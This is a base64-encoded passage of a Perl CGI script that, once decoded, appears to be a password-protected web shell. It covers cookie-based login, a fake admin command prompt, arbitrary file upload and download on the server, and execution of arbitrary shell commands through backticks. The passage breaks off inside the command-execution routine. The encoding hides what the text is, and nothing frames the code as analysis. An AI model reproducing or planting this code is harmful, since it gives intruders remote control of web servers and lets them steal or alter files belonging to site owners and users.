LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEdldENvb2tpZXMKewoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsKCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpCgl7CgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOwoJCSRDb29raWVzeyRpZH0gPSAkdmFsOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNv